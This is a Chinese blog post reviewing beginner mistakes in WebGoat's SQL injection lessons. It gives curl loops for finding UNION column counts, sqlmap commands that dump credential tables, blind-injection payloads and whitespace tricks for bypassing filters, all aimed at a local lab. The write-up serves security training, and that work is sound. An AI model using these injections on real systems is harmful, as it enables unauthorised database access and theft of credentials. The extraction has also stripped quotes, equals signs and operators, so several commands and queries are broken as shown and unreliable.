从WebGoat的SQL注入题,我复盘了新手最易踩的5个坑(附Kali命令实录)

张开发
2026/4/18 14:55:19 15 分钟阅读

分享文章

从WebGoat的SQL注入题,我复盘了新手最易踩的5个坑(附Kali命令实录)
从WebGoat的SQL注入题我复盘了新手最易踩的5个坑附Kali命令实录第一次接触WebGoat的SQL注入关卡时我几乎在每个环节都栽过跟头。那些看似简单的输入框背后藏着无数让初学者抓狂的细节。今天我想分享的不是通关秘籍而是那些教程里很少提及的暗坑——正是这些细节让很多人在深夜对着屏幕怀疑人生。1. UNION注入的列数对齐为什么你的查询总是报错很多教程会告诉你UNION注入要保证列数相同但不会解释背后的原理。我在WebGoat的SQL Injection (advanced)环节卡了整整两小时就是因为没理解这个基本规则。错误示范直接照搬教程语句 UNION SELECT 1,2,3 --结果系统提示列数不匹配。问题出在原始查询的列数是动态的不同功能点的查询可能完全不同。根本原因UNION操作要求前后查询的列数、数据类型必须一致。WebGoat某些题目的后端查询可能包含4-7个不等的列。解决方案先用递增数字试探列数# 在Kali终端用curl快速测试假设注入点在search参数 for i in {1..10}; do curl -s http://localhost:8080/WebGoat/attack?searchtest UNION SELECT $(seq -s , 1 $i) -- | grep -q error || echo Valid column count: $i done当看到输出Valid column count: 5时就知道该用5列进行注入。这个技巧在真实渗透测试中同样适用。2. sqlmap参数之谜--no-cast和--flush-session的实战场景大多数sqlmap教程只会教基础用法但在WebGoat的注册页面注入时我发现两个关键参数直接影响结果准确性。踩坑场景使用默认参数扫描注册接口时sqlmap -r register_request.txt --dbs返回的结果里缺失了关键表因为sqlmap默认会进行类型转换优化。参数对比参数适用场景WebGoat示例副作用--no-cast处理非标准哈希值JWT_KEYS表的password字段扫描速度下降20%--flush-session切换测试账户时从Bob切换到tom账户测试需要重新指纹识别正确操作# 先清空旧会话再扫描新账户 sqlmap --flush-session -r register_request.txt --no-cast -D PUBLIC -T JWT_KEYS --dump这个组合在处理WebGoat的user_system_data表时尤其重要能避免密码哈希被错误解析。3. 路径遍历抓不到包你可能漏了Content-Type在Path traversal章节我用ZAP拦截请求总是失败。后来发现是没注意现代前端框架的特殊性。典型错误只拦截multipart/form-data类型的请求POST /upload HTTP/1.1 Content-Type: application/json关键技巧在ZAP中设置复合过滤条件打开Tools Options Local Proxy在Include in Proxy添加正则.*Content-Type.*(json|multipart).*对于AJAX请求额外勾选Fetch和XHR类型这样就能捕获到前端框架发出的所有变异请求包括那些隐藏的FileReaderAPI调用。4. 数字型注入的盲区隐式类型转换陷阱Numeric SQL Injection环节看起来简单但MySQL和PostgreSQL的隐式转换规则差异会让人翻车。错误尝试SELECT * FROM accounts WHERE id 1 AND 1CONVERT(int, (SELECT version()))在WebGoat的PostgreSQL环境会直接报错。安全绕过方案-- 适用于多数数据库的通用写法 SELECT * FROM accounts WHERE id 1 AND (SELECT ASCII(SUBSTRING(version(),1,1))) 53配合Burp的Intruder模块可以这样自动化测试# 生成测试payload for i in {48..57}; do echo 1 AND (SELECT ASCII(SUBSTRING(version(),1,1))) $i done payloads.txt5. 防御绕过注释符的七十二变在SQL Injection (mitigation)的过滤挑战中空格被禁止使用但远不止/**/这一种替代方案。实测有效的空白符替代MySQL%a0NBSPPostgreSQL%0c换页符Oracle%09水平制表符Kali终端测试命令# 测试各种空白符替代方案 for char in %a0 %0c %09 %0b; do curl -X POST http://localhost:8080/WebGoat/SqlInjectionMitigations/attack10 \ -d input1${char}OR${char}11-- | grep -q success echo 有效分隔符: $char done在真实环境中还可以尝试用括号嵌套代替空格(SELECT(table_name)FROM(information_schema.tables))附WebGoat环境快速排错指南当Docker容器表现异常时这几个命令能节省大量时间查看实时日志docker logs -f webgoat_container_id重置特定课程进度# 进入容器shell docker exec -it webgoat_container_id bash # 删除课程缓存 rm -rf /home/webgoat/.webgoat-8.0.0.M26/*网络连通性检查# 测试内部服务连通 docker exec webgoat_container_id curl -I http://localhost:8080/WebGoat/login # 测试外部访问 curl --connect-timeout 5 -I http://localhost:8080/WebGoat/login

更多文章